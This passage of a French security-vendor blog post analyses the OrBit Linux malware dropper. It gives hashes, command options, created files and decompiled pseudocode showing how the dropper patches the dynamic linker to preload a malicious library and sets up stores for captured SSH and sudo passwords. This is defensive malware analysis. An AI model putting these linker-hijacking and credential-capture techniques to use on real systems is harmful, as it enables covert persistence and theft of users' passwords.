{"id":350831,"date":"2023-01-02T15:36:41","date_gmt":"2023-01-02T14:36:41","guid":{"rendered":"https:\/\/www.stormshield.com\/?p=350831"},"modified":"2024-01-30T15:43:07","modified_gmt":"2024-01-30T14:43:07","slug":"orbit-analyse-malware-linux","status":"publish","type":"post","link":"https:\/\/www.stormshield.com\/fr\/actus\/orbit-analyse-malware-linux\/","title":{"rendered":"OrBit : analyse avanc\u00e9e d\u2019un malware d\u00e9di\u00e9 \u00e0 Linux"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<strong>OrBit est un <em>two-stage<\/em> malware apparu \u00e0 l\u2019\u00e9t\u00e9 2022, d\u00e9couvert par Intezer. Faisant office de stealer et de backdoor uniquement \u00e0 destination des syst\u00e8mes Linux 64 bits, il se compose d\u2019un ex\u00e9cutable faisant office de dropper et d\u2019une librairie dynamique.<\/strong><\/p>\n<p>En juillet 2022, les \u00e9quipes de recherche d\u2019<a href=\"https:\/\/www.intezer.com\/blog\/incident-response\/orbit-new-undetected-linux-threat\/\" target=\"_blank\" rel=\"noopener\">Intezer<\/a> publiaient le premier papier sur le malware OrBit, avec un titre \u00e9vocateur\u00a0: \u2018<em>New Undetected Linux Threat Uses Unique Hijack of Execution Flow<\/em>\u2019. Ce papier a la modeste intention de compl\u00e9ter cette analyse du malware.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\"][vc_column][vc_column_text]<\/p>\n<h2>Le dropper OrBit<\/h2>\n<p>[\/vc_column_text][vc_empty_space]<div class=\"qode-advanced-pricing-table\">\n\t<div class=\"qode-apt-header qode-apt-row\">\n\t\t<div class=\"qode-apt-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\t\t\t\t<\/h5>\n\t\t<\/div>\n\t\t<div class=\"qode-apt-column-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\t\t\t\t<\/h5>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tFichier\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$ELF\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tArchitecture\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$x86-64\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tObfuscation\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$Aucune\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tInformations de debug\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$Pr\u00e9sentes\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tPrivil\u00e8ges requis\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$root (\u00e9choue sans les droits d&#039;un superadmin)\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tSHA-256\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tMD5\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$67048a69a007c37f8be5d01a95f6a026\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<\/div>[vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Ce dropper a pour but d'installer de mani\u00e8re discr\u00e8te une librairie dynamique sur le syst\u00e8me cible.<\/p>\n<p>Pour cela, plusieurs arguments en ligne de commande sont pris en charge :<\/p>\n<ul>\n<li>Sans argument, le malware est install\u00e9 dans le r\u00e9pertoire <em><code>\/lib\/libntpVnQE6mk\/<\/code><\/em><\/li>\n<li><strong><em>sh <\/em><\/strong>installe le malware dans <em><code>\/dev\/shm\/ldx<\/code><\/em><\/li>\n<li><strong><em>shred\u00a0<\/em><\/strong>supprime le malware<\/li>\n<li><strong><em>newpath\u00a0<\/em><\/strong>modifie le linker pour y \u00e9crire le chemin pass\u00e9 en param\u00e8tre<\/li>\n<li><strong><em>mov <\/em><\/strong>installe la librairie malveillante dans le r\u00e9pertoire choisi et sous le nom pass\u00e9 en param\u00e8tre<\/li>\n<li><strong><em>-O <\/em><\/strong>ignore la version du binaire <strong><em>ld.so<\/em><\/strong>\u00a0lors de l'installation<\/li>\n<li><strong><em>-o <\/em><\/strong>permet de r\u00e9\u00e9crire le chemin inscrit dans le linker par <em><code>\/dev\/shm\/ldx\/.l<\/code><\/em><\/li>\n<li><strong><em>-u <\/em><\/strong>r\u00e9installe le malware<\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\"][vc_column][vc_column_text]<\/p>\n<h3>Fichiers cr\u00e9\u00e9s<\/h3>\n<p>[\/vc_column_text][vc_empty_space]<div class=\"qode-advanced-pricing-table\">\n\t<div class=\"qode-apt-header qode-apt-row\">\n\t\t<div class=\"qode-apt-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\t\t\t\t<\/h5>\n\t\t<\/div>\n\t\t<div class=\"qode-apt-column-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\tFichiers\t\t\t<\/h5>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.backup_ld.so\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$backup de linker\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tlibdl.so\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$librairie partag\u00e9e malveillante\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.l\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$contient le chemin vers la librairie malveillante\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.profile\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$script \u00e0 installer dans un r\u00e9pertoire home\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.bashrc\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$lien symbolique vers .profile\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tescalator\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$script d&#039;\u00e9l\u00e9vation de privil\u00e8ges\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.bootsh\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$fichier \u00e0 ex\u00e9cuter lorsque le d\u00e9mon cron s&#039;active\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.logpam\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$indique si les mots de passe ssh doivent \u00eatre sauvegard\u00e9s\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tsshpass.txt\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$liste de mots de passe PAM\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tsshpass2.txt\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$liste de mots de passe sudo ou ssh\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.ports\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$liste de ports \u00e0 filtrer en TCP\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<\/div>[vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>Installation persistante<\/h3>\n<h4>Point d'entr\u00e9e du malware<\/h4>\n<p>La fonction <strong><code>main<\/code><\/strong>\u00a0v\u00e9rifie la pr\u00e9sence du r\u00e9pertoire <em><code>\/lib\/libntpVnQE6mk<\/code><\/em>, ce dernier contiendra \u00e0 terme tous les fichiers et sous-r\u00e9pertoires n\u00e9cessaires au malware pour fonctionner efficacement. Son absence signifie que le malware n\u2019est pas encore pr\u00e9sent.<\/p>\n<p>Une fois le r\u00e9pertoire cr\u00e9\u00e9, le programme change l'identifiant du groupe propri\u00e9taire par\u00a0<strong>920366<\/strong>.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre>\/* main() - Cr\u00e9ation du r\u00e9pertoire *\/\r\nif (stat(\"\/lib\/libntpVnQE6mk\", ...) {\r\n   puts(\"new hdd\"); \r\n   system(\"mkdir \/lib\/libntpVnQE6mk\");\r\n   chown(\"\/lib\/libntpVnQE6mk\", 0, 920366);\r\n   backup_ld(); \r\n}<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Cet identifiant a tr\u00e8s peu de chance d'appartenir \u00e0 un groupe d\u00e9j\u00e0 pr\u00e9sent sur le syst\u00e8me et est utilis\u00e9 par le malware pour diff\u00e9rencier les r\u00e9pertoires, fichiers et processus malveillants des normaux.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350833\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h4>Sauvegarde du linker<\/h4>\n<p>Le programme appelle ensuite la fonction <strong><code>backup_ld<\/code><\/strong>, comme son nom le laisse supposer, cette fonction effectue une sauvegarde du linker dynamique pr\u00e9sent sur la machine.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>backup_ld() - Sauvegarde du linker\r\n<\/strong>readlink(\"\/lib64\/ld-linux-x86-64.so.2\", dest);\r\n\/* ... *\/\r\n<strong>sprintf<\/strong>(src, \"cp %s \/lib\/libntpVnQE6mk\/.backup_ld.so\", dest);\r\nreturn\u00a0(<strong>system<\/strong>(src));<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Sur un syst\u00e8me Linux 64 bits, le lien symbolique <em><code>\/lib64\/ld-linux-x86-64.so.2<\/code><\/em>\u00a0pointe vers le binaire du linker dynamique.<\/p>\n<p>Le malware obtient le chemin du linker gr\u00e2ce \u00e0 ce lien symbolique et le copie \u00e0 l'emplacement <em><code>\/lib\/libntpVnQE6mk\/.backup_ld.so<\/code><\/em>.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350838\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h4>Cr\u00e9ation de la librairie dynamique malveillante<\/h4>\n<p>Le malware introduit ensuite une librairie partag\u00e9es malveillante avec la fonction <strong><code>load_ld<\/code><\/strong>\u00a0qui prend en param\u00e8tre le chemin de destination de cette librairie.<\/p>\n<p>Une v\u00e9rification est effectu\u00e9e sur la version du linker, ce dernier a un nom sous la forme <code>ld-${LIBC_VERSION}.so<\/code>, ce qui signifie que chaque version de libc apporte un nouveau linker. Si la version est inf\u00e9rieure \u00e0 2.4 (avant septembre 2006), alors la v\u00e9rification \u00e9choue \u00e0 moins d'avoir utilis\u00e9 l'option <em><strong><code>-O<\/code><\/strong><\/em>\u00a0en ligne de commande.<\/p>\n<p>Le chemin pass\u00e9 en param\u00e8tre est ensuite cr\u00e9\u00e9.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>load_ld() - V\u00e9rification de la version du linker\r\n<\/strong>stream = popen(\"ls -l \/lib64\/ld-linux-x86-64.so.2\", \"r\");\r\n<strong>fread<\/strong>(buffer, 1, 255, stream);\r\n\/* ... *\/\r\nld_version =\u00a0<strong>strstr<\/strong>(buffer, \"ld-2.\");\r\nif (ld_version) {\r\n \u00a0\u00a0\u00a0if\u00a0(ld_version[5] &lt;=\u00a0'4'\u00a0&amp;&amp; ld_version[6] ==\u00a0'.') {\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<strong>printf<\/strong>(\"ld error: %s\\n\", buffer);\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\u00a0override_version != 0;\r\n \u00a0\u00a0\u00a0}\u00a0else\u00a0{\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\u00a0(1):\r\n \u00a0\u00a0\u00a0}\r\n} else {\r\n \u00a0\u00a0\u00a0<strong>printf<\/strong>(\"ld: %s\\n\", buffer);\r\n \u00a0\u00a0\u00a0return\u00a0(0);\r\n}<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Deux symboles sont ensuite utilis\u00e9s pour remplir le fichier :<\/p>\n<ul>\n<li><strong><code>rkld_so<\/code> <\/strong>dont les 4 premiers octets (<code>7F 45 4C 46<\/code>)\u00a0sont la signature d'un binaire ex\u00e9cutable sous Linux : c'est ici que se situe la librairie malveillante du malware ;<\/li>\n<li><strong><code>rkld_so_len<\/code><\/strong> qui contient la taille de la librairie malveillante.<\/li>\n<\/ul>\n<p>[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>load_ld() - Cr\u00e9ation de librairie malveillante<\/strong>\r\nunlink(a1);\r\nfd = open(...);\r\nwrite(fd, &amp;rkld_so, rkld_so_len);\r\nfchown(fd, 0, 920366);\r\nclose(fd);\r\nreturn (build_root());<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]\u00c9tant un des fichiers associ\u00e9s au malware, l'identifiant de groupe\u00a0<strong>920366<\/strong>\u00a0lui est attribu\u00e9.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350843\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h4>Cr\u00e9ation des fichiers utilitaires<\/h4>\n<p>Une fois la librairie sur le syst\u00e8me, le malware va se construire une arborescence de r\u00e9pertoires et de fichiers qui lui seront utiles lorsque la librairie malveillante sera utilis\u00e9e.<\/p>\n<p>Les deux fichiers plac\u00e9s dans <em><code>\/lib\/libntpVnQE6mk\/bin<\/code><\/em>\u00a0se d\u00e9marquent :<\/p>\n<ul>\n<li>python qui est la copie de l'interpr\u00e9teur python en lui ajoutant un bit SUID\u00a0;<\/li>\n<li>et un script python stock\u00e9 en base64 dans le binaire qui sert \u00e0 \u00e9lever les privil\u00e8ges d'un utilisateur.<\/li>\n<\/ul>\n<p>Pour terminer, le fichier <code>.<em>l<\/em><\/code>\u00a0est ajout\u00e9 et le chemin de librairie malveillante y est \u00e9crit (<em><code>\/lib\/libntpVnQE6mk\/libdl.so<\/code><\/em>).[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350848\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h4>Modification et remplacement du linker<\/h4>\n<p>La derni\u00e8re fonction appel\u00e9e pour terminer l'installation du malware est <strong><code>patch_ld<\/code><\/strong>\u00a0qui va permettre \u00e0 la librairie malveillante d'\u00eatre utilis\u00e9e au lieu des librairies classiques.<\/p>\n<p>De la m\u00eame mani\u00e8re que pour effectuer le backup vu pr\u00e9c\u00e9demment, le programme, gr\u00e2ce au lien symbolique <em><code>\/lib64\/ld-linux-x86-64.so.2<\/code><\/em>, puis copie le linker original vers <em><code>\/lib\/lib0UZ0LfvWZ.so<\/code><\/em>.<\/p>\n<p>Ce fichier est ensuite ouvert et mapp\u00e9 en m\u00e9moire pour rechercher la chaine de caract\u00e8re <em><code>\/etc\/ld.so.preload<\/code><\/em> et la remplacer par <em><code>\/lib\/libntpVnQE6mk\/.l<\/code><\/em>\u00a0(cf. pr\u00e9cision).<\/p>\n<p>Le programme change ensuite l'emplacement de la copie du linker vers celui du linker original, d\u00e9sormais, \u00e0 chaque ex\u00e9cution de programme, c'est la copie modifi\u00e9e du linker qui sera utilis\u00e9e.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350853\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>Installation volatile<\/h3>\n<h4>Point d'entr\u00e9e du malware<\/h4>\n<p>En passant l\u2019option\u00a0<strong><em>sh<\/em><\/strong> en ligne de commande, le programme installera la librairie dynamique dans le r\u00e9pertoire <em><code>\/dev\/shm\/ldx<\/code><\/em>.<\/p>\n<p>Ce r\u00e9pertoire n\u2019en est pas vraiment un, il s\u2019agit d\u2019une repr\u00e9sentation sous forme d\u2019arborescence du syst\u00e8me de m\u00e9moire partag\u00e9 (<strong>SH<\/strong>ared\u00a0<strong>M<\/strong>emory) qui est une mani\u00e8re de communiquer entre diff\u00e9rents processus (comme par exemple lors d\u2019un fork).<\/p>\n<p>Les donn\u00e9es pr\u00e9sentes sont effac\u00e9es d\u00e8s que l'utilisateur se d\u00e9connecte de la machine.<\/p>\n<h4>Fonction d'installation<\/h4>\n<p>La fonction <strong><code>rkload_shm<\/code><\/strong>\u00a0est ensuite appel\u00e9e, elle ex\u00e9cute toutes les \u00e9tapes n\u00e9cessaires au d\u00e9ploiement du malware.<\/p>\n<p>L\u2019installation temporaire est tr\u00e8s similaire \u00e0 l\u2019installation avec persistance :<\/p>\n<ul>\n<li>la cr\u00e9ation d'un dossier <em><code>\/dev\/shm\/ldx<\/code><\/em><em>\u00a0<\/em>avec 920366 comme identifiant de groupe\u00a0;<\/li>\n<li>la cr\u00e9ation d'un backup du linker (<em><code>\/dev\/shm\/ldx\/.backdup_ld.so<\/code><\/em>)\u00a0;<\/li>\n<li>la modification du linker via la fonction <strong><code>patch_ld<\/code><\/strong> ;<\/li>\n<li>un appel \u00e0 <strong><code>load_ld<\/code><\/strong> qui place la librairie malveillante dans\u00a0<em><code>\/dev\/shm\/ldx\/libdl.so<\/code><\/em>\u00a0;<\/li>\n<li>la cr\u00e9ation du fichier <em><code>\/dev\/shm\/ldx\/.l<\/code><\/em><em>\u00a0<\/em>qui contient le chemin de la librairie pr\u00e9c\u00e9demment cr\u00e9\u00e9e.<\/li>\n<\/ul>\n<p>[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>rkload_shm() - Installation volatile<\/strong>\u00a0\r\n<strong>system<\/strong>(\"mkdir \/dev\/shm\/ldx\");\r\nchown(\"\/dev\/shm\/ldx\", 0, 920366);\r\n<strong>system<\/strong>(\"cp -p %s \/dev\/shm\/ldx\/.backup_ld.so\");\u00a0\/\/erreur\r\npatch_ld(1, 1);\r\nload_ld(\"\/dev\/shm\/ldx\/libdl.so\");\r\nfd = open(...);\r\nwrite(fd, \"\/dev\/shm\/ldx\/libdl.so\\n\", 22);\r\nreturn (close(fd));<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]La ligne <strong><code>system(\"cp -p %s \/dev\/shm\/ldx\/.backup_ld.so\");<\/code><\/strong>\u00a0est vou\u00e9e \u00e0 \u00e9chouer car la fonction system ne prend pas en charge les formats strings (<em><strong>\"%s\"<\/strong><\/em>). De plus, le chemin vers le linker original n'est jamais r\u00e9cup\u00e9r\u00e9.<\/p>\n<p>L'installation volatile modifie donc le linker sans possibilit\u00e9 de retrouver l'original.<\/p>\n<h3>Modification manuelle du linker<\/h3>\n<p>Avec l'option\u00a0<em><strong>newpath<\/strong><\/em>, le programme offre la possibilit\u00e9 de choisir soit m\u00eame le chemin de fichier \u00e0 modifier dans le linker via la fonction <strong><code>swap_ldpath<\/code><\/strong>.<\/p>\n<p>Le linker point\u00e9 par le lien symbolique <em><code>\/lib64\/ld-linux-x86-64.so.2<\/code><\/em>\u00a0est copi\u00e9 vers <em><code>\/lib\/lib0UZ0LfvWZ.so<\/code><\/em>\u00a0et recherche dans le fichier la cha\u00eene de caract\u00e8res pass\u00e9e en 1er argument du programme pour la remplacer par la cha\u00eene pass\u00e9e en 2e argument.<\/p>\n<p>Cette fonction est similaire \u00e0 <strong><code>patch_ld<\/code><\/strong> : le d\u00e9roulement est le m\u00eame si les arguments suivant sont pass\u00e9s en ligne de commande : <strong><em><code>\/etc\/ld.so.preload \/lib\/libntpVnQE6mk\/.l<\/code><\/em><\/strong><\/p>\n<p>Deux mani\u00e8res d'utiliser cette capacit\u00e9 peuvent \u00eatre distingu\u00e9es :<\/p>\n<ol>\n<li>si le malware est d\u00e9j\u00e0 install\u00e9, le linker corrompu peut \u00eatre modifi\u00e9 pour pointer vers un autre fichier\u00a0;<\/li>\n<li>si le malware n'est pas install\u00e9, l'attaquant peut vouloir utiliser une autre librairie et des r\u00e9pertoires ou fichiers diff\u00e9rents de ceux propos\u00e9 dans l'installation classique, le dropper sert alors uniquement \u00e0 modifier le linker.<\/li>\n<\/ol>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350858\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>R\u00e9initialisation<\/h3>\n<p>Avec l'argument\u00a0<strong><em>-u<\/em><\/strong> pass\u00e9 en ligne de commande, le programme appelle la fonction <strong><code>rkld_update<\/code><\/strong>.<\/p>\n<p>Celle-ci r\u00e9cup\u00e8re le chemin vers l'installation actuelle de la librairie malveillante pour ensuite la r\u00e9installer avec <strong><code>load_ld<\/code><\/strong>.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>rkld_update() - R\u00e9cup\u00e9ration du chemin de l'installation<\/strong> \r\nif (stat(\"\/lib\/libntpVnQE6mk\/libdl.so\", v1)) {\r\n \u00a0\u00a0\u00a0if\u00a0(!stat(\"\/dev\/shm\/ldx\/libdl.so\", v1))\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0lib_path =\u00a0\"\/dev\/shm\/ldx\/libdl.so\";\r\n} else {\r\n \u00a0\u00a0\u00a0lib_path 